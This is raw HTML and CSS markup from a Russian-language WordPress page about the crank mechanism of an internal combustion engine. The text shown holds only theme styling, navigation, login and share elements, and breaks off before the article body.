.tdb-aj-search-results{padding:20px;background-color:rgba(144,144,144,0.02);border-width:1px 0;border-style:solid;border-color:#ededed;background-color:#fff}.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child{margin-bottom:0;padding-bottom:0}.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child .td-module-container:before{display:none}.tdb_header_search .tdb-aj-search-inner{display:flex;flex-wrap:wrap;*zoom:1}.tdb_header_search .tdb-aj-search-inner:before,.tdb_header_search .tdb-aj-search-inner:after{display:table;content:'';line-height:0}.tdb_header_search .tdb-aj-search-inner:after{clear:both}.tdb_header_search .result-msg{padding:4px 0 6px 0;font-family:'Roboto',sans-serif;font-size:12px;font-style:italic;background-color:#fff}.tdb_header_search .result-msg a{color:#222}.tdb_header_search .result-msg a:hover{color:var(--td_theme_color,#4db2ec)}.tdb_header_search .td-module-meta-info,.tdb_header_search .td-next-prev-wrap{text-align:left}.tdb_header_search .td_module_wrap:hover .entry-title a{color:var(--td_theme_color,#4db2ec)}.tdb_header_search .tdb-aj-cur-element .entry-title a{color:var(--td_theme_color,#4db2ec)}.tdc-dragged .tdb-head-search-btn:after,.tdc-dragged .tdb-drop-down-search{visibility:hidden!important;opacity:0!important;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb-header-search-trigger-enabled{z-index:1000}.tdb-header-search-trigger-enabled .tdb-head-search-btn{display:flex;align-items:center;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb-header-search-trigger-enabled .tdb-head-search-btn:after{visibility:hidden;opacity:0;content:'';display:block;position:absolute;bottom:0;left:0;right:0;margin:0 auto;width:0;height:0;border-style:solid;border-width:0 6.5px 7px 6.5px;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0);-webkit-transition:all 0.4s ease;transition:all 0.4s ease;border-color:transparent transparent var(--td_theme_color,#4db2ec) transparent}.tdb-header-search-trigger-enabled .tdb-drop-down-search-open+.tdb-head-search-btn:after{visibility:visible;opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.tdb-header-search-trigger-enabled .tdb-search-icon,.tdb-header-search-trigger-enabled .tdb-search-txt,.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{-webkit-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out}.tdb-header-search-trigger-enabled .tdb-search-icon-svg{display:flex;align-items:center;justify-content:center}.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg{height:auto}.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg,.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{fill:var(--td_theme_color,#4db2ec)}.tdb-header-search-trigger-enabled .tdb-search-txt{position:relative;line-height:1}.tdb-header-search-trigger-enabled .tdb-drop-down-search{visibility:hidden;opacity:0;position:absolute;top:100%;left:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0);-webkit-transition:all 0.4s ease;transition:all 0.4s ease;pointer-events:none;z-index:10}.tdb-header-search-trigger-enabled .tdb-drop-down-search-open{visibility:visible;opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{position:relative;max-width:300px;pointer-events:all}.rtl .tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{margin-left:0;margin-right:auto}.tdb_header_search .tdb-aj-srs-title{margin-bottom:10px;font-family:'Roboto',sans-serif;font-weight:500;font-size:13px;line-height:1.3;color:#888}.tdb_header_search .tdb-aj-sr-taxonomies{display:flex;flex-direction:column}.tdb_header_search .tdb-aj-sr-taxonomy{font-family:'Roboto',sans-serif;font-size:13px;font-weight:500;line-height:18px;color:#111}.tdb_header_search .tdb-aj-sr-taxonomy:not(:last-child){margin-bottom:5px}.tdb_header_search .tdb-aj-sr-taxonomy:hover{color:var(--td_theme_color,#4db2ec)}.tdi_43 .tdb-head-search-btn i{font-size:20px;width:48px;height:48px;line-height:48px;color:#000000}.tdi_43 .tdb-head-search-btn svg{width:20px}.tdi_43 .tdb-search-icon-svg{width:48px;height:48px}.tdi_43{display:inline-block;float:right;clear:none}.tdi_43 .tdb-search-txt{top:0px}.tdi_43 .tdb-drop-down-search .tdb-drop-down-search-inner{max-width:600px}.tdi_43 .tdb-search-form{padding:30px;border-width:0px}.tdi_43 .tdb-drop-down-search{left:auto;right:0}body .tdi_43 .tdb-drop-down-search-inner,.tdi_43 .tdb-search-form,.tdi_43 .tdb-aj-search{margin-left:auto;margin-right:0}.tdi_43 .tdb-search-form-inner:after{border-width:0 0 1px 0}.tdi_43 .tdb-head-search-form-btn i{font-size:7px}.tdi_43 .tdb-head-search-form-btn-icon{margin-left:8px;top:0px}.tdi_43 .tdb-head-search-form-btn{padding:0px;color:#000000;background-color:rgba(0,0,0,0)}.tdi_43 .tdb-aj-search-results{padding:0 30px 30px;border-width:0 0 1px 0}.tdi_43 .result-msg{padding:10px 0;text-align:center;font-style:normal!important}.tdi_43 .tdb-head-search-btn svg,.tdi_43 .tdb-head-search-btn svg *{fill:#000000}.tdi_43 .tdb-head-search-btn:after{border-bottom-color:#ffffff}.tdi_43 .tdb-drop-down-search-inner{box-shadow:0px 3px 6px 0px rgba(0,0,0,0.2)}.tdi_43 .tdb-head-search-form-btn svg,.tdi_43 .tdb-head-search-form-btn svg *{fill:#000000}.tdi_43 .tdb-head-search-form-btn:hover{color:#4db2ec;background-color:rgba(0,0,0,0)}.tdi_43 .tdb-head-search-form-btn:hover svg,.tdi_43 .tdb-head-search-form-btn:hover svg *{fill:#4db2ec}.tdi_43 .result-msg a:hover{color:#4db2ec}.tdi_43 .td_module_wrap{width:50%;float:left;padding-left:10px;padding-right:10px;padding-bottom:10px;margin-bottom:10px}.tdi_43 .td_module_wrap:nth-last-child(-n+2){margin-bottom:0;padding-bottom:0}.tdi_43 .td_module_wrap:nth-last-child(-n+2) .td-module-container:before{display:none}.tdi_43 .tdb-aj-search-inner{margin-left:-10px;margin-right:-10px}.tdi_43 .td-module-container:before{bottom:-10px}.tdi_43 .entry-thumb{background-position:center 50%}.tdi_43 .td-image-wrap{padding-bottom:100%}.tdi_43 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_43 .td-image-container,.ie11 .tdi_43 .td-image-container{flex:0 0 auto}.tdi_43 .td-module-container{flex-direction:row}.ie10 .tdi_43 .td-module-meta-info,.ie11 .tdi_43 .td-module-meta-info{flex:1}.tdi_43 .td-video-play-ico{width:24px;height:24px;font-size:24px}.tdi_43 .td-post-vid-time{display:block}.tdi_43 .td-module-meta-info{padding:3px 0 0 16px;border-color:#eaeaea}.tdi_43 .entry-title{margin:0 0 2px 0;font-size:13px!important;line-height:1.4!important}.tdi_43 .td-excerpt{column-count:1;column-gap:48px;display:none}.tdi_43 .td-post-category:not(.td-post-extra-category){display:none}.tdi_43 .td-read-more{display:none}.tdi_43 .td-author-date{display:inline}.tdi_43 .td-post-author-name{display:none}.tdi_43 .td-icon-star,.tdi_43 .td-icon-star-empty,.tdi_43 .td-icon-star-half{font-size:15px}.tdi_43 .td-module-comments{display:none}.tdi_43 .tdb-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}body .tdi_43 .td_module_wrap:hover .td-module-title a,.tdi_43 .tdb-aj-cur-element .entry-title a{color:#4db2ec!important}.tdi_43 .td-post-category{text-transform:uppercase!important}@media (min-width:1019px) and (max-width:1140px){.tdi_43 .td_module_wrap{padding-bottom:10px!important;margin-bottom:10px!important}.tdi_43 .td_module_wrap:nth-last-child(-n+2){margin-bottom:0!important;padding-bottom:0!important}.tdi_43 .td_module_wrap .td-module-container:before{display:block!important}.tdi_43 .td_module_wrap:nth-last-child(-n+2) .td-module-container:before{display:none!important}.tdi_43 .td_module_wrap{padding-bottom:10px;margin-bottom:10px}.tdi_43 .td-module-container:before{bottom:-10px}}@media (min-width:768px) and (max-width:1018px){.tdi_43 .tdb-head-search-btn i{font-size:18px}.tdi_43 .tdb-head-search-btn svg{width:18px}.tdi_43 .tdb-head-search-btn i{width:46.8px;height:46.8px;line-height:46.8px}.tdi_43 .tdb-search-icon-svg{width:46.8px;height:46.8px}.tdi_43 .tdb-search-form{padding:20px 20px 20px}.tdi_43 .td_module_wrap{padding-bottom:10px!important;margin-bottom:10px!important;padding-bottom:10px;margin-bottom:10px}.tdi_43 .td_module_wrap:nth-last-child(-n+2){margin-bottom:0!important;padding-bottom:0!important}.tdi_43 .td_module_wrap .td-module-container:before{display:block!important}.tdi_43 .td_module_wrap:nth-last-child(-n+2) .td-module-container:before{display:none!important}.tdi_43 .td-module-container:before{bottom:-10px}}@media (max-width:767px){.tdi_43 .td_module_wrap{padding-bottom:10px!important;margin-bottom:10px!important}.tdi_43 .td_module_wrap:nth-last-child(-n+2){margin-bottom:0!important;padding-bottom:0!important}.tdi_43 .td_module_wrap .td-module-container:before{display:block!important}.tdi_43 .td_module_wrap:nth-last-child(-n+2) .td-module-container:before{display:none!important}.tdi_43 .td_module_wrap{padding-bottom:10px;margin-bottom:10px}.tdi_43 .td-module-container:before{bottom:-10px}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-drop-down-search" aria-labelledby="td-header-search-button"><div class="tdb-drop-down-search-inner"><form method="get" class="tdb-search-form" action="https://www.sciencedebate2008.com/"><div class="tdb-search-form-inner"><input class="tdb-head-search-form-input" placeholder=" " type="text" value="" name="s" autocomplete="off" /><button class="wpb_button wpb_btn-inverse btn tdb-head-search-form-btn" title="Search" type="submit"><span>袩芯懈褋泻</span><i class="tdb-head-search-form-btn-icon td-icon-menu-right"></i></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Search" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><span class="tdb-search-icon tdb-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M946.371 843.601l-125.379-125.44c43.643-65.925 65.495-142.1 65.475-218.040 0.051-101.069-38.676-202.588-115.835-279.706-77.117-77.148-178.606-115.948-279.644-115.886-101.079-0.061-202.557 38.738-279.665 115.876-77.169 77.128-115.937 178.627-115.907 279.716-0.031 101.069 38.728 202.588 115.907 279.665 77.117 77.117 178.616 115.825 279.665 115.804 75.94 0.020 152.136-21.862 218.061-65.495l125.348 125.46c30.915 30.904 81.029 30.904 111.954 0.020 30.915-30.935 30.915-81.029 0.020-111.974zM705.772 714.925c-59.443 59.341-136.899 88.842-214.784 88.924-77.896-0.082-155.341-29.583-214.784-88.924-59.443-59.484-88.975-136.919-89.037-214.804 0.061-77.885 29.604-155.372 89.037-214.825 59.464-59.443 136.878-88.945 214.784-89.016 77.865 0.082 155.3 29.583 214.784 89.016 59.361 59.464 88.914 136.919 88.945 214.825-0.041 77.885-29.583 155.361-88.945 214.804z"></path></svg></span></a></div></div> <!-- ./block --></div></div></div></div></div></div></div></div></div></div> </div> </div> <div id="tdb-autoload-article" data-autoload="off" data-autoload-org-post-id="16606" data-autoload-type="" data-autoload-count="5" > <style> .tdb-autoload-wrap { position: relative; } .tdb-autoload-wrap .tdb-loader-autoload { top: auto !important; bottom: 50px !important; } .tdb-autoload-debug { display: none; width: 1068px; margin-right: auto; margin-left: auto; } @media (min-width: 1019px) and (max-width: 1018px) { .tdb-autoload-debug { width: 740px; } } @media (max-width: 767px) { .tdb-autoload-debug { display: none; width: 100%; padding-left: 20px; padding-right: 20px; } } </style> <div class="td-main-content-wrap td-container-wrap"> <div class="tdc-content-wrap"> <article id="template-id-64569" class="post-64569 tdb_templates type-tdb_templates status-publish post" itemscope itemtype="https://schema.org/Article" > <!-- LOGIN MODAL --> <div id="login-form" class="white-popup-block mfp-hide mfp-with-anim td-login-modal-wrap"> <div class="td-login-wrap"> <a href="#" aria-label="Back" class="td-back-button"><i class="td-icon-modal-back"></i></a> <div id="td-login-div" class="td-login-form-div td-display-block"> <div class="td-login-panel-title">胁芯泄褌懈 胁 褋懈褋褌械屑褍</div> <div class="td-login-panel-descr">袛芯斜褉芯 锌芯卸邪谢芯胁邪褌褜! 袙芯泄写懈褌械 胁 褋胁芯褞 褍褔褢褌薪褍褞 蟹邪锌懈褋褜</div> <div class="td_display_err"></div> <form id="loginForm" action="#" method="post"> <div class="td-login-inputs"><input class="td-login-input" autocomplete="username" type="text" name="login_email" id="login_email" value="" required><label for="login_email">袙邪褕械 懈屑褟 锌芯谢褜蟹芯胁邪褌械谢褟</label></div> <div class="td-login-inputs"><input class="td-login-input" autocomplete="current-password" type="password" name="login_pass" id="login_pass" value="" required><label for="login_pass">袙邪褕 锌邪褉芯谢褜</label></div> <input type="button" name="login_button" id="login_button" class="wpb_button btn td-login-button" value="邪胁褌芯褉懈蟹芯胁邪褌褜褋褟"> </form> <div class="td-login-info-text"><a href="#" id="forgot-pass-link">Forgot your password? Get help</a></div> </div> <div id="td-forgot-pass-div" class="td-login-form-div td-display-none"> <div class="td-login-panel-title">胁芯褋褋褌邪薪芯胁谢械薪懈械 锌邪褉芯谢褟</div> <div class="td-login-panel-descr">袙芯褋褋褌邪薪芯胁懈褌械 褋胁芯泄 锌邪褉芯谢褜</div> <div class="td_display_err"></div> <form id="forgotpassForm" action="#" method="post"> <div class="td-login-inputs"><input class="td-login-input" type="text" name="forgot_email" id="forgot_email" value="" required><label for="forgot_email">袙邪褕 邪写褉械褋 褝谢械泻褌褉芯薪薪芯泄 锌芯褔褌褘</label></div> <input type="button" name="forgot_button" id="forgot_button" class="wpb_button btn td-login-button" value="芯褌锌褉邪胁懈褌褜 屑芯泄 锌邪褉芯谢褜"> </form> <div class="td-login-info-text">袩邪褉芯谢褜 斜褍写械褌 胁褘褋谢邪薪 袙邪屑 锌芯 褝谢械泻褌褉芯薪薪芯泄 锌芯褔褌械.</div> </div> </div> </div> <div id="tdi_44" class="tdc-zone"><div class="tdc_zone tdi_45 wpb_row td-pb-row" > <style scoped>.tdi_45{min-height:0}</style><div id="tdi_46" class="tdc-row"><div class="vc_row tdi_47 wpb_row td-pb-row" > <style scoped>.tdi_47,.tdi_47 .tdc-columns{min-height:0}.tdi_47,.tdi_47 .tdc-columns{display:block}.tdi_47 .tdc-columns{width:100%}.tdi_47{padding-top:22px!important}.tdi_47 .td_block_wrap{text-align:left}</style><div class="vc_column tdi_49 wpb_column vc_column_container tdc-column td-pb-span12"> <style scoped>.tdi_49{vertical-align:baseline}.tdi_49>.wpb_wrapper,.tdi_49>.wpb_wrapper>.tdc-elements{display:block}.tdi_49>.wpb_wrapper>.tdc-elements{width:100%}.tdi_49>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_49>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_breadcrumbs tdi_50 td-pb-border-top td_block_template_1 tdb-breadcrumbs " data-td-block-uid="tdi_50" > <style>.tdb-breadcrumbs{margin-bottom:11px;font-family:'Open Sans','Open Sans Regular',sans-serif;font-size:12px;color:#747474;line-height:18px}.tdb-breadcrumbs a{color:#747474}.tdb-breadcrumbs a:hover{color:#000}.tdb-breadcrumbs .tdb-bread-sep{line-height:1;vertical-align:middle}.tdb-breadcrumbs .tdb-bread-sep-svg svg{height:auto}.tdb-breadcrumbs .tdb-bread-sep-svg svg,.tdb-breadcrumbs .tdb-bread-sep-svg svg *{fill:#c3c3c3}.single-tdb_templates.author-template .tdb_breadcrumbs{margin-bottom:2px}.tdb_category_breadcrumbs{margin:21px 0 9px}.search-results .tdb_breadcrumbs{margin-bottom:2px}.tdi_50 .tdb-bread-sep{font-size:8px;margin:0 5px}.td-theme-wrap .tdi_50{text-align:left}</style><div class="tdb-block-inner td-fix-index"><span><a title="" class="tdb-entry-crumb" href="https://www.sciencedebate2008.com/">袛芯屑芯泄</a></span><i class="tdb-bread-sep td-icon-right"></i><span><a title="袩褉芯褋屑芯褌褉械褌褜 胁褋械 锌芯褋褌褘 胁 袗胁褌芯屑芯斜懈谢懈" class="tdb-entry-crumb" href="https://www.sciencedebate2008.com/category/auto/">袗胁褌芯屑芯斜懈谢懈</a></span><i class="tdb-bread-sep tdb-bred-no-url-last td-icon-right"></i><span class="tdb-bred-no-url-last">袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟</span></div></div><script type="application/ld+json"> { "@context": "https://schema.org", "@type": "BreadcrumbList", "itemListElement": [{ "@type": "ListItem", "position": 1, "item": { "@type": "WebSite", "@id": "https://www.sciencedebate2008.com/", "name": "袛芯屑芯泄" } },{ "@type": "ListItem", "position": 2, "item": { "@type": "WebPage", "@id": "https://www.sciencedebate2008.com/category/auto/", "name": "袗胁褌芯屑芯斜懈谢懈" } },{ "@type": "ListItem", "position": 3, "item": { "@type": "WebPage", "@id": "", "name": "袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟" } } ] } </script></div></div></div></div><div id="tdi_51" class="tdc-row"><div class="vc_row tdi_52 td-ss-row wpb_row td-pb-row" > <style scoped>.tdi_52,.tdi_52 .tdc-columns{min-height:0}.tdi_52,.tdi_52 .tdc-columns{display:block}.tdi_52 .tdc-columns{width:100%}</style><div class="vc_column tdi_54 wpb_column vc_column_container tdc-column td-pb-span8"> <style scoped>.tdi_54{vertical-align:baseline}.tdi_54>.wpb_wrapper,.tdi_54>.wpb_wrapper>.tdc-elements{display:block}.tdi_54>.wpb_wrapper>.tdc-elements{width:100%}.tdi_54>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_54>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_single_categories tdi_55 td-pb-border-top td_block_template_1 " data-td-block-uid="tdi_55" > <style>.tdb_single_categories{margin:0 0 10px 0;line-height:1;font-family:'Open Sans','Open Sans Regular',sans-serif}.tdb_single_categories a{pointer-events:auto;font-size:10px;display:inline-block;margin:0 5px 5px 0;line-height:1;color:#fff;padding:3px 6px 4px 6px;white-space:nowrap;position:relative;vertical-align:middle}.tdb_single_categories a:hover .tdb-cat-bg{opacity:0.9}.tdb_single_categories a:hover .tdb-cat-bg:before{opacity:1}.tdb-category i:last-of-type{display:none}.tdb-cat-text{display:inline-block;vertical-align:middle;margin-right:10px}.tdb-cat-sep{font-size:14px;vertical-align:middle;position:relative}.tdb-cat-sep-svg{line-height:0}.tdb-cat-sep-svg svg{width:14px;height:auto}.tdb-cat-bg{position:absolute;background-color:#222;border:1px solid #222;width:100%;height:100%;top:0;left:0;z-index:-1}.tdb-cat-bg:before{content:'';width:100%;height:100%;left:0;top:0;position:absolute;z-index:-1;opacity:0;-webkit-transition:opacity 0.3s ease;transition:opacity 0.3s ease}.tdb-cat-style2 .tdb-cat-bg{background-color:rgba(34,34,34,0.85)}.tdi_55 .tdb-cat-bg{border-width:1px}.tdi_55 .tdb-cat-sep{font-size:14px}.tdi_55 .tdb-cat-text{margin-right:10px}.td-theme-wrap .tdi_55{text-align:left}</style><div class="tdb-category td-fix-index"><a class="tdb-entry-category" href="https://www.sciencedebate2008.com/category/auto/" ><span class="tdb-cat-bg"></span>袗胁褌芯屑芯斜懈谢懈</a></div></div><div class="td_block_wrap tdb_title tdi_56 tdb-single-title td-pb-border-top td_block_template_1" data-td-block-uid="tdi_56" > <style>.tdb_title{margin-bottom:19px}.tdb_title.tdb-content-horiz-center{text-align:center}.tdb_title.tdb-content-horiz-center .tdb-title-line{margin:0 auto}.tdb_title.tdb-content-horiz-right{text-align:right}.tdb_title.tdb-content-horiz-right .tdb-title-line{margin-left:auto;margin-right:0}.tdb-title-text{display:inline-block;position:relative;margin:0;word-wrap:break-word;font-size:30px;line-height:38px;font-weight:700}.tdb-first-letter{position:absolute;-webkit-user-select:none;user-select:none;pointer-events:none;text-transform:uppercase;color:rgba(0,0,0,0.08);font-size:6em;font-weight:300;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);left:-0.36em;z-index:-1;-webkit-text-fill-color:initial}.tdb-title-line{display:none;position:relative}.tdb-title-line:after{content:'';width:100%;position:absolute;background-color:var(--td_theme_color,#4db2ec);top:0;left:0;margin:auto}.tdb-single-title .tdb-title-text{font-size:41px;line-height:50px;font-weight:400}.tdi_56 .tdb-title-line:after{height:2px;bottom:40%}.tdi_56 .tdb-title-line{height:50px}.td-theme-wrap .tdi_56{text-align:left}.tdi_56 .tdb-first-letter{left:-0.36em;right:auto}.tdi_56 .tdb-title-text{font-size:38px!important;line-height:1.2!important}@media (min-width:768px) and (max-width:1018px){.tdi_56 .tdb-title-text{font-size:32px!important}}@media (max-width:767px){.tdi_56 .tdb-title-text{font-size:30px!important}}</style><div class="tdb-block-inner td-fix-index"><h1 class="tdb-title-text">袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟</h1><div></div><div class="tdb-title-line"></div></div></div><div class="td_block_wrap tdb_single_author tdi_58 td-pb-border-top td_block_template_1 tdb-post-meta" data-td-block-uid="tdi_58" > <style>.tdi_58{margin-right:10px!important}</style> <style>.tdb-post-meta{margin-bottom:16px;color:#444;font-family:'Open Sans','Open Sans Regular',sans-serif;font-size:11px;font-weight:400;clear:none;vertical-align:middle;line-height:1}.tdb-post-meta span,.tdb-post-meta i,.tdb-post-meta time{vertical-align:middle}.tdb_single_author{line-height:30px}.tdb_single_author a{vertical-align:middle}.tdb_single_author .tdb-block-inner{display:flex;align-items:center}.tdb_single_author .tdb-author-name-wrap{display:flex}.tdb_single_author .tdb-author-name{font-weight:700;margin-right:3px}.tdb_single_author .tdb-author-by{margin-right:3px}.tdb_single_author .tdb-author-photo img{display:block}.tdi_58{display:inline-block}.tdi_58 .tdb-author-name-wrap{align-items:baseline}.tdi_58 .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_58 .tdb-author-name{color:#000}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-author-photo" href="https://www.sciencedebate2008.com/author/admin/" title="袗褋锌懈褉邪薪褌"><img alt='袗褋锌懈褉邪薪褌' src='https://secure.gravatar.com/avatar/f1c08b1e3fdca9bd52fa5b4e22b403e5?s=96&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/f1c08b1e3fdca9bd52fa5b4e22b403e5?s=192&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96' loading='lazy' decoding='async'/></a><div class="tdb-author-name-wrap"><span class="tdb-author-by">By</span> <a class="tdb-author-name" href="https://www.sciencedebate2008.com/author/admin/">袗褋锌懈褉邪薪褌</a></div></div></div><div class="td_block_wrap tdb_single_date tdi_59 td-pb-border-top td_block_template_1 tdb-post-meta" data-td-block-uid="tdi_59" > <style>.tdb_single_date{line-height:30px}.tdb_single_date a{vertical-align:middle}.tdb_single_date .tdb-date-icon-svg{position:relative;line-height:0}.tdb_single_date svg{height:auto}.tdb_single_date svg,.tdb_single_date svg *{fill:#444}.tdi_59{display:inline-block}.tdi_59 svg{width:14px}.tdi_59 .tdb-date-icon{margin-right:5px}</style><div class="tdb-block-inner td-fix-index"><time class="entry-date updated td-module-date" datetime="2024-08-26T11:43:28+00:00">袗胁谐 26, 2024</time></div></div> <!-- ./block --><div class="td_block_wrap tdb_single_comments_count tdi_60 td-pb-border-top td_block_template_1 tdb-post-meta" data-td-block-uid="tdi_60" > <style>.tdb_single_comments_count{line-height:30px}.tdb_single_comments_count .tdb-comm-icon-svg{position:relative;line-height:0}.tdb_single_comments_count svg{height:auto}.tdb_single_comments_count svg,.tdb_single_comments_count svg *{fill:#444}.tdi_60{float:right;display:inline-block}.tdi_60 i{font-size:10px}.tdi_60 .tdb-comm-icon{margin-right:5px}.tdi_60 a{color:#444}.tdi_60 a svg,.tdi_60 a svg *{fill:#444}</style><div class="tdb-block-inner td-fix-index"><a href="https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#comments"><i class="tdb-comm-icon td-icon-comments"></i><span class="tdb-add-text"></span><span>1</span></a></div></div><div class="td_block_wrap tdb_single_post_views tdi_61 td-pb-border-top td_block_template_1 tdb-post-meta" data-td-block-uid="tdi_61" > <style>.tdi_61{margin-right:22px!important}</style> <style>.tdb_single_post_views{line-height:30px}.tdb_single_post_views a{vertical-align:middle}.tdb_single_post_views .tdb-views-icon-svg{position:relative;line-height:0}.tdb_single_post_views svg{height:auto}.tdb_single_post_views svg,.tdb_single_post_views svg *{fill:#444}.tdi_61{display:inline-block;float:right}.tdi_61 i{font-size:14px}.tdi_61 .tdb-views-icon{margin-right:5px}</style><div class="tdb-block-inner td-fix-index"><i class="tdb-views-icon td-icon-views"></i><span class="tdb-add-text"></span><span class="td-nr-views-16606">1879</span></div></div><div class="td_block_wrap tdb_single_post_share tdi_62 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_62" > <style>.tdb_single_post_share{margin-bottom:23px}.tdb-share-classic{position:relative;height:20px;margin-bottom:15px}.td-post-sharing-show-all-icons .td-social-sharing-hidden .td-social-expand-tabs{display:none}.td-post-sharing_display-vertically .td-post-sharing-visible,.td-post-sharing_display-vertically .td-social-sharing-hidden{display:flex;flex-direction:column}.tdi_62 .td-post-sharing-visible{align-items:flex-start}</style><div id="tdi_62" class="td-post-sharing tdb-block td-ps-bg td-ps-notext td-post-sharing-style1 "> <style>.td-post-sharing-classic{position:relative;height:20px}.td-post-sharing{margin-left:-3px;margin-right:-3px;font-family:'Open Sans','Open Sans Regular',sans-serif;z-index:2;white-space:nowrap;opacity:0}.td-post-sharing.td-social-show-all{white-space:normal}.td-js-loaded .td-post-sharing{-webkit-transition:opacity 0.3s;transition:opacity 0.3s;opacity:1}.td-post-sharing-classic+.td-post-sharing{margin-top:15px}@media (max-width:767px){.td-post-sharing-classic+.td-post-sharing{margin-top:8px}}.td-post-sharing-top{margin-bottom:30px}@media (max-width:767px){.td-post-sharing-top{margin-bottom:20px}}.td-post-sharing-bottom{border-style:solid;border-color:#ededed;border-width:1px 0;padding:21px 0;margin-bottom:42px}.td-post-sharing-bottom .td-post-sharing{margin-bottom:-7px}.td-post-sharing-visible,.td-social-sharing-hidden{display:inline-block}.td-social-sharing-hidden ul{display:none}.td-social-show-all .td-pulldown-filter-list{display:inline-block}.td-social-network,.td-social-handler{position:relative;display:inline-block;margin:0 3px 7px;height:40px;min-width:40px;font-size:11px;text-align:center;vertical-align:middle}.td-ps-notext .td-social-network .td-social-but-icon,.td-ps-notext .td-social-handler .td-social-but-icon{border-top-right-radius:2px;border-bottom-right-radius:2px}.td-social-network{color:#000;overflow:hidden}.td-social-network .td-social-but-icon{border-top-left-radius:2px;border-bottom-left-radius:2px}.td-social-network .td-social-but-text{border-top-right-radius:2px;border-bottom-right-radius:2px}.td-social-network:hover{opacity:0.8!important}.td-social-handler{color:#444;border:1px solid #e9e9e9;border-radius:2px}.td-social-handler .td-social-but-text{font-weight:700}.td-social-handler .td-social-but-text:before{background-color:#000;opacity:0.08}.td-social-share-text{margin-right:18px}.td-social-share-text:before,.td-social-share-text:after{content:'';position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);left:100%;width:0;height:0;border-style:solid}.td-social-share-text:before{border-width:9px 0 9px 11px;border-color:transparent transparent transparent #e9e9e9}.td-social-share-text:after{border-width:8px 0 8px 10px;border-color:transparent transparent transparent #fff}.td-social-but-text,.td-social-but-icon{display:inline-block;position:relative}.td-social-but-icon{padding-left:13px;padding-right:13px;line-height:40px;z-index:1}.td-social-but-icon i{position:relative;top:-1px;vertical-align:middle}.td-social-but-text{margin-left:-6px;padding-left:12px;padding-right:17px;line-height:40px}.td-social-but-text:before{content:'';position:absolute;top:12px;left:0;width:1px;height:16px;background-color:#fff;opacity:0.2;z-index:1}.td-social-handler i,.td-social-facebook i,.td-social-reddit i,.td-social-linkedin i,.td-social-tumblr i,.td-social-stumbleupon i,.td-social-vk i,.td-social-viber i,.td-social-flipboard i,.td-social-koo i{font-size:14px}.td-social-telegram i{font-size:16px}.td-social-mail i,.td-social-line i,.td-social-print i{font-size:15px}.td-social-handler .td-icon-share{top:-1px;left:-1px}.td-social-twitter .td-icon-twitter{font-size:14px}.td-social-pinterest .td-icon-pinterest{font-size:13px}.td-social-whatsapp .td-icon-whatsapp,.td-social-kakao .td-icon-kakao{font-size:18px}.td-social-kakao .td-icon-kakao:before{color:#3C1B1D}.td-social-reddit .td-social-but-icon{padding-right:12px}.td-social-reddit .td-icon-reddit{left:-1px}.td-social-telegram .td-social-but-icon{padding-right:12px}.td-social-telegram .td-icon-telegram{left:-1px}.td-social-stumbleupon .td-social-but-icon{padding-right:11px}.td-social-stumbleupon .td-icon-stumbleupon{left:-2px}.td-social-digg .td-social-but-icon{padding-right:11px}.td-social-digg .td-icon-digg{left:-2px;font-size:17px}.td-social-vk .td-social-but-icon{padding-right:11px}.td-social-vk .td-icon-vk{left:-2px}.td-social-naver .td-icon-naver{left:-1px;font-size:16px}.td-social-gettr .td-icon-gettr{font-size:25px}.td-ps-notext .td-social-gettr .td-icon-gettr{left:-5px}.td-social-copy_url{position:relative}.td-social-copy_url-check{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:#fff;opacity:0;pointer-events:none;transition:opacity .2s ease-in-out;z-index:11}.td-social-copy_url .td-icon-copy_url{left:-1px;font-size:17px}.td-social-copy_url-disabled{pointer-events:none}.td-social-copy_url-disabled .td-icon-copy_url{opacity:0}.td-social-copy_url-copied 